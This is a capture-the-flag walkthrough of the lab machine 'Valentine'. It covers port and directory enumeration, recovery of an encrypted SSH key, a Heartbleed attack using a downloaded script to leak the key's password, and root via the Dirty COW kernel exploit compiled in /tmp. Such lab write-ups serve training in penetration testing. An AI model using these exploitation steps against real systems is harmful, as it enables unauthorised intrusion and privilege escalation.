Valentine

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.79 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, ports 22 (SSH), 80 (HTTP), and 443 (HTTPS) are open. Let's try to obtain more information about the services and versions running on those ports.

nmap -sC -sV -p22,80,443 10.10.10.79 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we take a look at the website, we won't see much going on.

Let's enumerate directories with gobuster.

gobuster dir -u http://10.10.10.79 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

If we take a look at the /dev directory we will see a few files.

The hype_key file contains some hexadecimal text.

If we convert the hexadecimal into ASCII we'll see that it is an SSH RSA Private Key.

curl -s http://10.10.10.79/dev/hype_key | xxd -ps -r > id_rsa

chmod 600 id_rsa

But we can't use the id_rsa file because it is encrypted with a password.

Exploitation

We can see if the SSL certificate is vulnerable to some attacks. Nmap has several scripts that can determine if the certificate is vulnerable or not. I will use the scripts under the vuln and safe categories.

nmap --script "vuln and safe" -p443 10.10.10.79

  • --script Runs a script scan script categories.

  • -p scan the specific port.

Nmap detected that the SSL certificate is vulnerable to a ssl-heartbleed attack.

The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.

Let's download the following python script from this GitHub repository. This python script will allow us to make an ssl-hearbleed attack.

wget https://raw.githubusercontent.com/roflcer/heartbleed-vuln/master/attack.py

We will have to execute the script with Python 2. If we execute the script several times, we'll see at some point that the $text variable is a base64 string.

python2 attack.py 10.10.10.79

If we decode the base64 string, we'll get the heartbleedbelievethehype password.

echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d

Now we have the password for the SSH RSA Private Key of the hype_key file. Now we could try to log in via SSH with the user hype, the id_rsa file, and the password for the id_rsa file which is heartbleedbelievethehype. Then we could grab the user flag.

ssh -i id_rsa hype@10.10.10.79

Privilege Escalation

If we list system information, we'll see that the machine has an old Linux Kernel version.

uname -a

As the kernel version is old we could try to execute Dirty COW.

Dirty COW was a vulnerability in the Linux kernel. It allowed processes to write to read-only files. This exploit made use of a race condition that lived inside the kernel functions which handle the copy-on-write (COW) feature of memory mappings. An example use case includes over-writing a user's UID in /etc/passwd to gain root privileges.

If we search for it on exploit-db, we'll find this exploit. All we have to do is create a file on the /tmp directory of the victim machine called dirty.c, copy all the script and paste it on the dirty.c file.

nano /tmp/dirty.c

Then, we'll have to go to the /tmp directory and compile the file.

gcc -pthread dirty.c -o dirty -lcrypt

Now, let's execute the script with a random password.

./dirty password123

If now we become the firefart user, indicating the previous password, we'll get a shell with root privileges. Then, all we have to do is reap the harvest and take the root flag.

su firefart

Last updated

Was this helpful?